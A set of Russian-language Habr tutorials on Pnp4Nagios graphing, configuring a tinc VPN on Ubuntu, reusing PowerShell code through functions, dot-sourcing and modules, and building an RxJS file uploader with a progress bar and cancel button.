Особо акцентировать внимание неначем, разве, что Pnp4Nagios поддерживает [RRDCached](http://oss.oetiker.ch/rrdtool/doc/rrdcached.en.html) — пригодится в больших инсталляциях. О пользе RRDCached и iohell подробно написано [здесь](http://net.doit.wisc.edu/~dwcarder/rrdcache/)
3. Конфигурация.
Конфигурирование Pnp4Nagios, конечно, не такое гибкое как у того же Zabbix’а, но зато не приходит OOM-Killer ;)
Самая заметная часть, внешний вид графиков, определяется шаблонами. В комплекте идёт некоторое количество стандартных шаблонов. Для своих собственных проверок можно сделать отдельный шаблон, если стандартный не устраивает. Шаблоны представляют собой php скрипты выполняемые через include и по сути должны сформировать командную строку для rrdtool’а. Во время обработки шаблона доступны экспортируемые Nagios’ом внутренние данные, например время когда хост последний раз был жив ( $LASTHOSTUP$ ), что позволяет выводить графики почти любой информативности. Шаблоны определяются из имени команды, причем поддерживается выделение значимой части, т.е. если у вас наличествуют проверки при помощи check\_nrpe, то можно сконфигурировать выбор шаблона таким образом, что check\_nrpe будет отброшено.
Параметры, задаваемые при создании rrd файлов, так же могут быть изменены в шаблонах. Поддерживаемые опции включают тип данных (datasource) – GAUGE, COUNTER, DERIVE; использовать ограничения на минимальное и/или максимальное значение что полезно для устранения «протуберанцев» для счетчиков типа COUNTER/DERIVE в случае перезагрузки сервера/рестарта демона.
#### Обработка данных
Поддерживаются 3 вида обработки performance data:
1. Синхронный режим. Команда обработки данных process\_perfdata.pl вызывается на каждую проверку. Самый простой в конфигурировании ( отредактировать 4 строчки :) но и самый «плохой» — пока не завершится данный скрипт, работа Nagios будет заблокирована, что при большом количестве проверок может стать заметным из-за дисковой подсистемы. Например на ненагруженном хосте можно наблюдать:
`2009-12-23 20:41:54 [28100] [2] RRDs::update /var/lib/pnp4nagios/nginx.local/load_average.rrd 1261590114:0.00:0.00:0.00
2009-12-23 20:41:54 [28100] [2] /var/lib/pnp4nagios/nginx.local/load_average.rrd updated
2009-12-23 20:41:54 [28100] [1] PNP exiting (runtime 0.003274s) ...`
На первый взгляд 3 миллисекунды это очень мало, но учитывайте что файловый ввод-вывод уходит в vmcache которого хватает чтобы держать rrdшки потому что их немного, 28 штук.
2. Режим «скопом». Nagios записывает данные в файл и с определённой периодичностью вызывает скрипт process\_perfdata.pl, который читает и обрабатывает весь файл целиком, что значительно быстрее чем синхронный режим, но тем не менее возможна блокировка Nagios’а на чуть бОльший период. Пример:
`2009-12-23 20:28:11 [7299] [1] 83 Lines processed
2009-12-23 20:28:11 [7299] [1] /var/spool/pnp4nagios/service-perfdata-PID-7299 deleted
2009-12-23 20:28:11 [7299] [1] PNP exiting (runtime 0.118031s) ...`
Одна десятая секунды уже заметнее, но всё ещё быстро, так как и в данном случае пока хватает vmcache (491 rrd files).
3. «Скопом», но отдельным демоном – практически как второй способ, но вместо вызова нашего обработчика Nagios сделает перенос файлов и успокоится, а отдельно работающий демон с некоторой периодичностью проверяет нужную папку и запускает process\_perfdata.pl если обнаружены файлы. Поскольку перенос файлов в пределах одной файловой системы выполняется почти мгновенно, этот способ не блокирует Nagios и может быть рекомендован для нагруженных сред.
#### Интеграция с веб интерфейсом Nagios
Интеграцию в веб интерфейс Nagios'а можно произвести при помощи [action\_url](http://docs.pnp4nagios.org/pnp-0.6/webfe) для хостов и сервисов, что позволяет a) перейти к просмотрю графиков в один клик 2) можно смотреть превьюшки графиков просто наведя указатель
#### Минусы
* Первый минус стандартен для всех? систем на базе RRD — нет гибкого управления набором графиков и шаблонов их отображения. Править шаблоны на php хоть и не сложно, но есть способы потратить время с большей пользой.
* Плагины Nagios'а должны поддерживать вывод performance data, что есть далеко не у всех. Для плагинов которые проверяют «счётчики» ( например трафик на интерфейсе ) очень желательно поддержка вывода минимального/максимального допустимого значения в строке performance data, иначе rrd база создастся без ограничений и будут «протуберанцы» при сбросе счётчика.
* Не то чтобы прямой, но минус, частично вытекающий из первого — Nagios/Pnp4Nagios не замена комплексу сбора статистики о состоянии системы. О том, что может претендовать на эту роль я напишу отдельно.
#### Ссылки:
[Сайт проекта](http://docs.pnp4nagios.org/pnp-0.6/start) — содержит довольно внятную документацию и инструкцию по установке и настройке. При установке из пакета достаточно следовать инструкциям из /usr/share/doc/pnp4nagios/README.Debian.gz.
[Доступ к исходному коду](http://pnp4nagios.git.sourceforge.net/git/gitweb.cgi?p=pnp4nagios/pnp4nagios;a=summary)
Debian пакет pnp4nagios доступен в моем репозитарии [http://repo.coolcold.org](http://repo.coolcold.org/README.TXT) .
IRC: #pnp4nagios @ freenode | https://habr.com/ru/post/79354/ | null | ru | null |
# Tinc — настройка VPN в Ubuntu
Tinc — это открытый сетевой протокол и программная реализация, используемая для сжатых и зашифрованных виртуальных частных сетей. Это проект был начат в 1998 году Гусом Слипеном, Иво Тиммермансом и Весселем Данкерсом под лицензией GPL.
К его основным достоинствам относится:
1) Распределенная топология (нет необходимости в мощном сервере VPN).
2) Работет поверх сетей любой топологии, в том числе за NAT и поверх других VPN.
3) Поддерживает активное соединение даже после переключения сети (например с wi-fi на 4g) или при входе и выходе из других VPN.
4) Работет в большинстве операционных систем, в том числе Windows XP.
К этому можно добавить, что tinc входит во все дистирбутивы Linux, то есть его можно установить и сразу пользоваться.
При этом tinc у широкой публики не пользуется популярностью. Одна из причин — очень лаконичная документация, которая создавалась в университетской среде, и поэтому является скорее академической, чем доступной для быстрого прочтения.
В этом сообщении я опишу конфигурацию tinc VPN в операционной истеме Ubuntu.
Устанавливаем пакет sudo apt-get install tinc.
Поскольку сеть имеет ячеистую топологию — нет сереверного или клиентского варианта программного обеспечения.
В нашем примере будет две машины. Первую условно назовем «сервер» — будет открыта для доступа из интернет по имени alpha.example.com (или по ip адресу). Вторая машина будет в некоторой сети не имея открытого в интернет ip адреса (4g, wi-fi, условно назовем ее «домашний компьютер»)
Теперь нам нужно выбрать имя для сети. В нашем примере это будет alpha.
Сначла работем на «сервере» с адресом alpha.example.com. Создаем структуру каталогов для конфигов sudo mkdir -p /etc/tinc/alpha/hosts.
Создаем конфиг сети alpha /etc/tinc/alpha/tinc.conf:
```
Name = server_01
AddressFamily = ipv4
Interface = tun0
```
В каталоге /etc/tinc/alpha/hosts будут храниться открытые ключи текущей машины и других доступных в сети alpha машин. Создадим файл /etc/tinc/alpha/hosts/server\_01:
```
Address = alpha.example.com
Subnet = 10.0.0.1/32
Subnet = 0.0.0.0/0
```
Address задается в случае если у машины есть доступный адрес (например публичный адрес в сети интернет) или доменное имя.
Subnet = 10.0.0.1/32 задает адрес машины в сети alpha.
Subnet = 0.0.0.0/0 включается только в том случае, когда неоходимо весь трафик от других машин в интернет направить через текущую машину (это не обязательно).
Сгенерируем открытый и закрытый ключ командой sudo tincd -n alpha -K 4096.
Создадим файлы, которые будут выполняться при старте и остановке сети
/etc/tinc/alpha/tinc-up:
```
#!/bin/sh
ip link set $INTERFACE up
ip addr add 10.0.0.1/32 dev $INTERFACE
ip route add 10.0.0.0/24 dev $INTERFACE
```
/etc/tinc/alpha/tinc-down:
```
#!/bin/sh
ip route del 10.0.0.0/24 dev $INTERFACE
ip addr del 10.0.0.1/32 dev $INTERFACE
ip link set $INTERFACE down
```
Сделаем эти файлы выполняемыми sudo chmod 755 /etc/tinc/alpha/tinc-\*
Запустим сеть alpha на текущей машине sudo tincd -n alpha -D -d5
Теперь перейдем на «домашний компьютер» и повторим все действия (с небольшими изменениями):
sudo apt-get install tinc
sudo mkdir -p /etc/tinc/alpha/hosts
/etc/tinc/alpha/tinc.conf:
```
Name = client_01
AddressFamily = ipv4
Interface = tun0
ConnectTo = server_01
```
/etc/tinc/alpha/hosts/client\_01:
```
Subnet = 10.0.0.2/32
```
sudo tincd -n alpha -K 4096.
/etc/tinc/alpha/tinc-up:
```
#!/bin/sh
ip link set $INTERFACE up
ip addr add 10.0.0.2/32 dev $INTERFACE
ip route add 10.0.0.0/24 dev $INTERFACE
```
/etc/tinc/alpha/tinc-down:
```
#!/bin/sh
ip route del 10.0.0.0/24 dev $INTERFACE
ip addr del 10.0.0.2/32 dev $INTERFACE
ip link set $INTERFACE down
```
sudo chmod 755 /etc/tinc/alpha/tinc-\*
sudo tincd -n alpha -D -d5
Теперь неободимо обменяться публичными ключами в каталогах /etc/tinc/alpha/hosts, чтобы их содержимое на обоеих машинах было одинаковое.
Итак, сеть настроена. С компьютера 10.0.0.1 доступен компьютер 10.0.0.2 и наоборот.
Иногда необходимо, чтобы вест трафик с «домашнео компьютера» шел через «сервер» (то для чего сейчас VPN используется довольно часто).
Напомню, что для этого в конфиге сервера мы предусмотрели параметр Subnet = 0.0.0.0/0
Кроме этого, необходимо изменить скрипты конфигурирования сети на «домашнем компьютере:
/etc/tinc/alpha/tinc-up:
```
#!/bin/sh
REMOTEADDRESS=X.X.X.X
VPN_GATEWAY=10.0.0.1
ORIGINAL_GATEWAY=`ip route show | grep ^default | cut -d ' ' -f 2-5`
ip link set $INTERFACE up
ip addr add 10.0.0.2/32 dev $INTERFACE
ip route add 10.0.0.0/24 dev $INTERFACE
ip route add $REMOTEADDRESS $ORIGINAL_GATEWAY
ip route add $VPN_GATEWAY dev $INTERFACE
ip route add 0.0.0.0/1 via $VPN_GATEWAY dev $INTERFACE
ip route add 128.0.0.0/1 via $VPN_GATEWAY dev $INTERFACE
```
/etc/tinc/alpha/tinc-down
```
#!/bin/sh
REMOTEADDRESS=X.X.X.X
VPN_GATEWAY=10.0.0.1
ORIGINAL_GATEWAY=`ip route show | grep ^default | cut -d ' ' -f 2-5`
ip route del $REMOTEADDRESS $ORIGINAL_GATEWAY
ip route del $VPN_GATEWAY dev $INTERFACE
ip route del 0.0.0.0/1 dev $INTERFACE
ip route del 128.0.0.0/1 dev $INTERFACE
ip route del 10.0.0.0/24 dev $INTERFACE
ip addr del 10.0.0.1/32 dev $INTERFACE
ip link set $INTERFACE down
```
После этого весь Ваш трафик будет направлен на „сервер“. Но это еще не означает что сервер будет его пересылать на другие адреса. Для этого нужно еще дополнительно настроить сеть на „сервере“. Дальнейшие действия будут сильно зависеть от конфигурации сети. В наиболее простом случае помогут команды, которые можно выполнять только если Вы знаете что они делают:
```
### Этот код может нанести вред Вашему компьютеру ###
sudo iptables -P FORWARD DROP
sudo iptables -I FORWARD -i tun0 -o enp35s0 -j ACCEPT
sudo iptables -I FORWARD -o tun0 -i enp35s0 -j ACCEPT
sudo iptables -t nat -I POSTROUTING -o enp35s0 -j MASQUERADE
```
Полезные ссылки
1. [www.digitalocean.com/community/tutorials/how-to-install-tinc-and-set-up-a-basic-vpn-on-ubuntu-18-04-ru](https://www.digitalocean.com/community/tutorials/how-to-install-tinc-and-set-up-a-basic-vpn-on-ubuntu-18-04-ru)
2. [www.tinc-vpn.org/examples/windows-install](https://www.tinc-vpn.org/examples/windows-install/)
3. [www.tinc-vpn.org/examples/redirect-gateway](https://www.tinc-vpn.org/examples/redirect-gateway/)
4. [zingmars.info/2018/07/14/Tinc-1.1-setup-instructions](https://zingmars.info/2018/07/14/Tinc-1.1-setup-instructions/)
apapacy@gmail.com
30 января 2022 года | https://habr.com/ru/post/470243/ | null | ru | null |
# Advanced PowerShell vol. 1: повторное использование кода
Привет! Как большой поклонник и активный практик **PowerShell** я часто сталкиваюсь с тем, что мне необходимо повторно использовать ранее написанные куски кода.
Собственно, для современных языков программирования code reuse — это обычное дело.
**PowerShell** в этом вопросе не отстает, и предлагает разработчикам (написателям скриптов) сразу несколько механизмов обращения к написанному ранее коду.
Вот они по возрастанию сложности: использование функций, дот-сорсинг и написание собственных модулей.
Рассмотрим их все порядку.
В качестве решения лабораторной задачи напишем скрипт, который расширяет раздел **C:\** до максимально возможного размера на удаленном Windows-сервере **LAB-FS1**.
Такой скрипт будет состоять из одной строки и выглядеть так:
```
Invoke-Command -ComputerName LAB-FS1 -ScriptBlock { "rescan", "select volume=c", "extend" | diskpart }
```
Работает это так. Сначала **PowerShell** устанавливает удаленное соединение с сервером **LAB-FS1** и запускает на нем локально набор команд, заключенный в фигурные скобки параметра *-ScriptBlock*. Этот набор в свою очередь последовательно передает команде **diskpart** три текстовых параметра, а **diskpart** выполняет (по очереди) повторное сканирование разделов, выбор раздела **C:\** и расширение его до максимально возможного размера.
Как видите, скрипт крайне простой, но в то же время крайне полезный.
Рассмотрим, как правильно упаковать его для повторного использования.
1. Использование функций
========================
Самый простой вариант.
Предположим, что мы пишем большой скрипт, в котором нам по разным причинам необходимо много раз запускать расширение разделов на разных серверах. Логичнее всего выделить весь этот скрипт в отдельную функцию в этом же .ps1-файле и в дальнейшем просто вызывать ее по необходимости. Помимо этого мы расширим функционал скрипта, позволив администратору явно указывать имя удаленного сервера и букву расширяемого раздела. Имя и букву будем передавать с помощью параметров.
Функция и ее вызов будут выглядеть так:
```
function ExtendDisk-Remotely
{
param (
[Parameter (Mandatory = $true)]
[string] $ComputerName,
[Parameter (Mandatory = $false)]
[string] $DiskDrive = "c"
)
Invoke-Command -ComputerName $ComputerName -ScriptBlock {"rescan", "select volume=$using:DiskDrive", "extend" | diskpart}
}
ExtendDisk-Remotely -ComputerName LAB-FS1
```
Здесь для функции *ExtendDisk-Remotely* заданы два параметра:
* Обязательный *ComputerName*;
* Необязательный *DiskDrive*. Есть не задать имя диска явным образом, скрипт будет работать с диском **C:\**
Также можно отметить, что передача локальной переменной в удаленную сессию осуществляется с помощью ключевого слова *using*.
Сохраним скрипт под именем *Example-01-Functions.ps1* и запустим:
Видим, что наша функция успешно вызвалась и расширила раздел **C:\** на сервере **LAB-FS1**.
2. Дот-сорсинг
==============
Усложняем ситуацию. Наша функция по расширению разделов оказалась так хороша, что мы хотим прибегать к ее использованию и в других скриптах. Как быть?
Копировать текст функции из исходного .ps1-файла и вставлять ее во все необходимые? А если код функции регулярно обновляется? А если эта функция нужна сотне скриптов? Очевидно, надо выносить ее в отдельный файл и подключать по мере необходимости.
Создадим отдельный файл для всех наших функций и назовем его *Example-02-DotSourcing.ps1*.
Его содержимое будет таким:
```
function ExtendDisk-Remotely
{
param (
[Parameter (Mandatory = $true)]
[string] $ComputerName,
[Parameter (Mandatory = $false)]
[string] $DiskDrive = "c"
)
Invoke-Command -ComputerName $ComputerName -ScriptBlock {"rescan", "select volume=$using:DiskDrive", "extend" | diskpart}
}
```
Это объявление функции (без вызова), которая теперь хранится у нас в отдельном файле и может быть вызвана в любой момент с помощью техники, которая называется dot-sourcing. Синтаксис выглядит так:
```
. C:\Scripts\Example-02-DotSourcing.ps1
ExtendDisk-Remotely LAB-FS1
```
Внимательно посмотрите на первую строку кода и проанализируйте ее содержимое: **точка**, **пробел**, **путь к файлу с описанием функции**.
Такой синтаксис позволяет нам подключить к текущему скрипту содержимое файла *Example-02-DotSourcing.ps1*. Это то же самое, что использовать директиву **#include** в **C++** или команду **using** в **C#** — подключение кусков кода из внешних источников.
После подключения внешнего файла мы уже во второй строке можем вызвать входящие в него функции, что мы успешно и делаем. При этом задотсорсить внешний файл можно не только в теле скрипта, но и в «голой» консоли PowerShell:
Техникой дотсорсинга можно пользоваться, и она будет у вас работать, однако гораздо удобнее пользоваться более современным способом, который мы рассмотрим в следующем разделе.
3. Написание собственного модуля PowerShell
===========================================
> **Внимание:** Я использую в работе **PowerShell** версии 4.
>
> Одна из его особенностей заключается в том, что он автоматически подгружает в оперативную память модули по мере обращения к ним, без использования командлета *Import-Module*.
>
>
>
> В старых версиях **PowerShell** (начиная с 2) написанное ниже будет работать, но может потребовать дополнительных манипуляций, связанных с предварительным импортом модулей перед их использованием.
>
> Мы же будем рассматривать современные среды.
Усложняем ситуацию еще раз.
Мы стали очень хорошими **PowerShell**-программистами, написали сотни полезных функций, для удобства использования разделили их на десятки .ps1-файлов, и в нужные нам скрипты дотсорсим нужные файлы. А если у нас десятки файлов для дотсорсинга и их надо указать в сотне скриптов? А если мы несколько из них переименовали? Очевидно, что придется менять путь ко всем файлам во всех скриптах — это страшно неудобно.
Поэтому.
Независимо от того, сколько функций для повторного использования вы написали, пусть даже одну, сразу оформляйте ее в отдельный модуль. Написание собственных модулей — это самый простой, лучший, современный и грамотный метод повторного использования кода в **PowerShell**.
Что такое модуль Windows PowerShell
-----------------------------------
Модуль **Windows PowerShell** — это набор функционала, который в том или ином виде размещен в отдельных файлах операционной системы. Например, все родные Микрософтовские модули являются бинарными и представляют собой скомпилированные .dll. Мы же будем писать модуль скриптовый — скопируем в него код из файла *Example-02-DotSourcing.ps1* и сохраним как файл с расширением .psm1.
Чтобы понять, куда сохранять, посмотрим содержимое переменной окружения **PSModulePath**.
Видим, что по умолчанию у нас есть три папки, в которых **PowerShell** будет искать модули.
Значение переменной **PSModulePath** можно редактировать с помощью групповых политик, задавая таким образом пути к модулям для всей сети, но это другая история, и рассматривать ее сейчас мы не будем. Зато будем работать с папкой *C:\Users\Administrator\Documents\WindowsPowerShell\Modules* и сохраним наш модуль в нее.
Код остается неизменным:
```
function ExtendDisk-Remotely
{
param (
[Parameter (Mandatory = $true)]
[string] $ComputerName,
[Parameter (Mandatory = $false)]
[string] $DiskDrive = "c"
)
Invoke-Command -ComputerName $ComputerName -ScriptBlock {"rescan", "select volume=$using:DiskDrive", "extend" | diskpart}
}
```
Меняется лишь папка, в которую сохраняется файл, и его расширение.
> **Очень важно!**
>
> Внутри папки *Modules* необходимо создать подпапку с именем нашего модуля. Пусть этим именем будет *RemoteDiskManagement*. Сохраняем наш файл внутрь этой подпапки и даем ему **точно такое же** имя и расширение .psm1 — получаем файл *C:\Users\Administrator\Documents\WindowsPowerShell\Modules\**RemoteDiskManagement\RemoteDiskManagement.psm1***.
>
>
Наш модуль готов, и мы можем проверить, что он виден в системе:
Модуль виден, и в дальнейшем мы можем вызывать его функции без предварительного объявления их в теле скрипта или дотсорсинга.
**PowerShell** будет воспринимать нашу функцию *ExtendDisk-Remotely* как «встроенную» и подключать ее по мере необходимости:
На этом всё: мы можем написать десятки собственных модулей, править код включенных в них функций и использовать их в любой момент, не думая о том, в каком скрипте необходимо поменять название функции или путь к дотсорсному файлу.
4. Другие advanced-возможности
==============================
Как я уже писал, я люблю **PowerShell**, и если сообществу интересно, могу написать еще с десяток статей о его расширенном функционале. Вот примеры тем для обсуждения: добавление справки к написанным функциям и модулям; как заставить вашу функцию принимать значения из конвейера и какие это особенности это накладывает на написание скрипта; что вообще такое конвейер и с чем его едят; как с помощью **PowerShell** работать с базами данных; как устроены расширенные функции и какими свойствами могут обладать их параметры и т.д.
Интересно?
Тогда попробую выдавать по одной статье в неделю. | https://habr.com/ru/post/245875/ | null | ru | null |
# Интерактивная выгрузка файлов на сервер с помощью RxJS
Прошло много времени с тех пор, как я написал свою последнюю статью по основам RxJS. В комментариях меня попросили показать более сложные примеры, которые могут пригодиться на практике. Поэтому я решил немного разбавить теорию и сегодня мы поговорим про выгрузку файлов.
Что мы будем делать?
* Напишем небольшую страничку, на которой пользователь сможет выбрать файл для загрузки его на сервер
* Добавим progress bar, чтобы отображался прогресс загрузки файла
* Добавим возможность отменить загрузку нажатием на кнопку отмены
> Для понимания данной статьи вам потребуются базовые знания RxJS. Что такое [Observable](https://habr.com/ru/post/438642/), [операторы](https://habr.com/ru/post/444290/), а так-же [HOO операторы](https://habr.com/ru/post/450050/)
Не будем тянуть кота за хвост и сразу перейдем к делу!
Подготовка
----------
Для начала нам потребуется сервер, который может принимать запросы на загрузку файлов. Для этого может подойти любой сервер, я для статьи буду использовать node.js в связке с express и [multer](https://github.com/expressjs/multer):
```
const express = require("express");
const multer = require("multer");
const app = express();
const upload = multer({ dest:"files" });
app.post("/upload", upload.single("file"), function (req, res) {
const { file } = req;
if (file) {
res.send("File uploaded successfully");
} else {
res.error("Error");
}
});
app.listen(3000);
```
Теперь создадим html страничку, на которой мы разместим все необходимые элементы:
```
File uploading
load file:
Upload
Cancel
```
Сейчас на страничке у нас есть 4 элемента, с которыми пользователь будет взаимодействовать:
* Input с типом file, чтобы пользователь смог выбрать файл для выгрузки
* Кнопка upload, при нажатии на которую мы начнем выгрузку
* Кнопка cancel, которая будет отменять загрузку
* Progress bar со стартовой шириной 0. В процессе выгрузки мы будем менять его ширину
В самом конце тега body я добавил ссылку на скрипт index.js, который нам тоже нужно будет создать:
```
// Ссылки на элементы, с которыми мы будем взаимодействовать
const input = document.querySelector('#file');
const uploadBtn = document.querySelector('#upload');
const progressBar = document.querySelector('#progress-bar');
const cancelBtn = document.querySelector('#cancel');
```
Выглядеть все это должно примерно так:
Всё — поток
-----------
Чтобы сказать браузеру, какой файл нужно выбрать, пользователь должен кликнуть по кнопке «Choose file». После этого откроется диалоговое окно вашей операционной системы, где отобразится дерево папок. После выбора файла браузер загрузит всю необходимую информацию о нем.
Как нам понять, что пользователь выбрал файл? Для этого существует событие «change». После срабатывания события мы можем обратиться к массиву files в input’е, куда и будут записаны данные файла.
Как же нам слушать событие «change»? Можно воспользоваться методом addEventListener и работать с ним. Но мы работаем с RxJS, где любое событие может быть представлено как поток:
```
fromEvent(input, 'change').pipe(
// достаем файл из массива
map(() => input.files[0])
).subscribe({
next: data => console.log(file)
});
```
Добавим функцию upload, которая будет выгружать файл на сервер. Пока оставим ее тело пустым:
```
function upload(file) {
console.log(file);
}
```
Функция upload должна вызываться после нажатия на кнопку uploadBtn:
```
fromEvent(uploadBtn, 'click').subscribe({
next: () => upload(input.files[0])
});
```
Объединяем потоки
-----------------
Сейчас наш код ничем не отличается от того, который бы мы написали, используя addEventListener. Да, он работает, но если мы оставим его таким, то потеряем те преимущества, которые открывает перед нами RxJS.
Что мы можем сделать? Распишем последовательность шагов для выгрузки файла:
* Выбор файла
* Нажатие кнопки uploadBtn
* Извлечение файла из input.files
* Выгрузка файла
Теперь данную последовательность перенесем на код. Но как объединить потоки input’а и uploadBtn? В этом нам поможет оператор switchMap, который позволяет спроецировать один поток на другой:
```
fromEvent(input, 'change').pipe(
switchMap(() => fromEvent(uploadBtn, 'click')),
map(() => input.files[0])
).subscribe({
next: file => upload(file)
});
```
Данный код очень похож на последовательность тех инструкций, что мы описали выше. Пользователь выбирает файл, срабатывает switchMap и мы подписываемся на uploadBtn. Но дальше ничего не произойдет.
switchMap пропускает во внешний поток только те значения, которые генерирует *fromEvent(uploadBtn, 'click')*.Чтобы выгрузка файлов началась, нужно выполнить вторую инструкцию, а именно — нажать на uploadBtn. Затем отработает метод map, который извлечет файл из массива, и уже в subscribe произойдет вызов метода upload.
Самое интересное здесь то, что последовательность инструкций не нарушаема. Чтобы сработала функция upload, нужно, чтобы перед этим сработало событие 'change'.
Но все же одна проблема осталась. Пользователь может выбрать файл, а затем отменить свой выбор. И тогда при попытке выгрузки файла, мы передадим в функцию upload — undefined. Чтобы избежать подобной ситуации, нам следует добавить проверку:
```
fromEvent(input, 'change').pipe(
switchMap(() => fromEvent(uploadBtn, 'click')),
map(() => input.files[0]),
filter(file => !!file)
).subscribe({
next: file => upload(file)
});
```
Работаем с xhr
--------------
Пора реализовать самое сложное — процесс выгрузки. Я буду показывать его на примере работы с xhr, так как fetch, на момент написания статьи, не умеет отслеживать [прогресс выгрузки](https://fetch.spec.whatwg.org/#fetch-api).
> Вы можете реализовать выгрузку с помощью любой другой библиотеки, например axios или jQuery.ajax.
Так как на серверной стороне я использую multer, то передавать файл мне придется внутри формы(multer принимает данные только в таком формате). Для этого я написал функцию createFormData:
```
function createFormData(file) {
const form = new FormData();
// кладем файл в поле с названием file
form.append('file', file);
return form;
}
fromEvent(input, 'change').pipe(
switchMap(() => fromEvent(uploadBtn, 'click')),
map(() => input.files[0]),
filter(file => !!file),
map(file => createFormData(file))
).subscribe({
next: data => upload(data)
});
```
Выгружать форму мы будем через XMLHttpRequest. Нам потребуется создать экземпляр данного объекта и определить у него методы unload и onerror. Первый будет срабатывать, когда выгрузка завершена, второй — когда произошла ошибка.
```
function upload(data) {
const xhr = new XMLHttpRequest();
// выводим в консоль сообщение об удачной выгрузке файла
xhr.onload = () => console.log('success');
// выводим сообщение об ошибке
xhr.onerror = e => console.error(e);
// открываем соединение
xhr.open('POST', '/upload', true);
// отправляем форму
xhr.send(data);
}
```
Теперь у нас есть рабочий пример. Но он содержит пару недостатков:
* Нет возможности отменить загрузку
* Если нажать на кнопку uploadBtn n раз, то у нас откроется n параллельных соединений на выгрузку одного файла
Все потому, что функция upload работает вне потока. Она живет сама по себе. Нам нужно это исправить. Сделаем так, чтобы функция возвращала нам Observable. Тогда мы сможем контролировать выгрузку файлов:
```
function upload(data) {
return new Observable(observer => {
const xhr = new XMLHttpRequest();
// когда файл будет выгружен, мы сообщаем об этом в поток
// и завершаем его
xhr.onload = () => {
observer.next();
observer.complete();
};
xhr.onerror = e => observer.error(e);
xhr.open('POST', '/upload', true);
xhr.send(data);
// при отписке - отменяем выгрузку
return () => xhr.abort();
});
}
```
Обратите внимание на возвращаемую внутри Observable стрелочную функцию. Данный метод будет вызван в момент отписки и отменит выгрузку.
Поместим вызов upload в switchMap:
```
fromEvent(input, 'change').pipe(
switchMap(() => fromEvent(uploadBtn, 'click')),
map(() => input.files[0]),
filter(file => !!file),
map(file => createFormData(file)),
switchMap(data => upload(data))
).subscribe({
next: () => console.log('File uploaded')
});
```
Теперь, если пользователь нажмет на кнопку выгрузки еще раз, то предыдущий запрос будет отменен, но создастся новый.
Отменяем запрос по клику
------------------------
У нас еще осталась кнопка calcelBtn. Мы должны реализовать отмену запроса. Здесь нам поможет оператор takeUntil.
takeUntil переводится как “бери пока”. Данный оператор забирает значения из внешнего потока и отдает их дальше по цепочке. До тех пор, пока внутренний поток существует и ничего не генерирует. Как только внутренний поток сгенерирует значение — takeUntil вызовет метод unsubscribe и отпишется от внешнего потока.
Прежде чем добавить оператор, нужно определить, от какого потока мы хотим отписаться. Нас интересует upload, так как необходимо завершить только выгрузку файла, т.е. отписаться от внутреннего потока:
```
fromEvent(input, 'change').pipe(
switchMap(() => fromEvent(uploadBtn, 'click')),
map(() => input.files[0]),
filter(file => !!file),
map(file => createFormData(file)),
switchMap(data => upload(data).pipe(
// отписываемся только от upload
takeUntil(fromEvent(cancelBtn, 'click'))
))
).subscribe({
next: () => console.log('File uploaded')
});
```
Progress bar
------------
Осталось добавить progress bar. Для отслеживания прогресса нам понадобится определить метод xhr.upload.onprogress. Данный метод вызывается при возникновении события ProgressEvent. Объект события содержит в себе несколько полезных для нас свойств:
* lengthComputable — если true, значит, что нам известен полный размер файла(в нашем случае всегда true)
* total — общее количество байт
* loaded — количество отосланных байт
Внесем изменения в функцию upload:
```
function upload(data) {
return new Observable(observer => {
const xhr = new XMLHttpRequest();
xhr.upload.onprogress = e => {
// высчитываем проценты
const progress = e.loaded / e.total * 100;
observer.next(progress);
};
xhr.onerror = e => observer.error(e);
xhr.onload = () => observer.complete();
xhr.open('POST', '/upload', true);
xhr.send(data);
return () => xhr.abort();
});
}
```
Теперь upload выплевывает в поток состояние выгрузки. Осталось только написать функцию, которая будет менять свойства style у элемента progressBar:
```
function setProgressBarWidth(width) {
progressBar.style.width = `${width}%`;
}
fromEvent(input, 'change').pipe(
/* ..
*/
).subscribe({
next: width => setProgressBarWidth(width)
});
```
> Небольшой совет: чтобы ваши файлы локально выгружались не так быстро, включите настройку «Fast 3G» или «Slow 3G» во вкладке «Performance» в Chrome devtools.
Доводим до ума
--------------
Мы получили полноценное рабочее приложение. Осталось добавить пару штрихов. Сейчас при нажатии на кнопку uploadBtn мы отменяем предыдущую выгрузку и начинаем новую. Но у нас уже есть кнопка отмены.
Хочется, чтобы кнопка uploadBtn не реагировала на последующие нажатия, пока мы не выгрузили файл(или пока мы не отменили выгрузку). Что можно предпринять?
Можно вешать атрибут disable, пока процесс выгрузки не завершится. Но есть другой вариант — оператор exhaustMap. Данный оператор будет игнорировать новые значения из внешнего потока, пока внутренний поток не будет завершен. Заменим switchMap на exhaustMap:
```
exhaustMap(data => upload(data).pipe(
takeUntil(fromEvent(cancelBtn, 'click'))
))
```
И вот теперь можно считать наше приложение законченным. Немного рефакторинга и получаем финальный вариант:
```
import { fromEvent, Observable } from "rxjs";
import { map, switchMap, filter, takeUntil, exhaustMap } from "rxjs/operators";
const input = document.querySelector('#file');
const uploadBtn = document.querySelector('#upload');
const progressBar = document.querySelector('#progress-bar');
const cancelBtn = document.querySelector('#cancel');
const fromUploadBtn = fromEvent(uploadBtn, 'click');
const fromCancelBtn = fromEvent(cancelBtn, 'click');
fromEvent(input, 'change').pipe(
switchMap(() => fromUploadBtn),
map(() => input.files[0]),
filter(file => !!file),
map(file => createFormData(file)),
exhaustMap(data => upload(data).pipe(
takeUntil(fromCancelBtn)
))
).subscribe({
next: width => setProgressBarWidth(width)
});
function setProgressBarWidth(width) {
progressBar.style.width = `${width}%`;
}
function createFormData(file) {
const form = new FormData();
form.append('file', file);
return form;
}
function upload(data) {
return new Observable(observer => {
const xhr = new XMLHttpRequest();
xhr.upload.onprogress = e => {
const progress = e.loaded / e.total * 100;
observer.next(progress);
};
xhr.onerror = e => observer.error(e);
xhr.onload = () => observer.complete();
xhr.open('POST', '/upload', true);
xhr.send(data);
return () => xhr.abort();
});
}
```
Мой вариант я выложил [здесь](https://github.com/limitofzero/upload-fiels-with-rxjs).
Angular и HttpClient
--------------------
Если вы работаете с Angular, то вам не нужно использовать xhr напрямую. В Angular есть HttpClient сервис. Данный сервис может отслеживать прогресс загрузки/выгрузки, для этого достаточно передать следующие параметры в post метод:
* reportProgress: true — получать информацию о выгрузке/загрузке
* observe: «events» — указываем, что хотим получать HttpEvents из потока
Вот как будет выглядеть метод upload в Angular:
```
export class UploaderService {
constructor(private http: HttpClient) { }
public upload(data: FormData): Observable {
return this.http.post('/upload', data, { reportProgress: true, observe: 'events' })
.pipe(
filter(event => event.type === HttpEventType.UploadProgress),
map(event => event as HttpProgressEvent),
map(event => event.loaded / event.total \* 100)
);
}
}
```
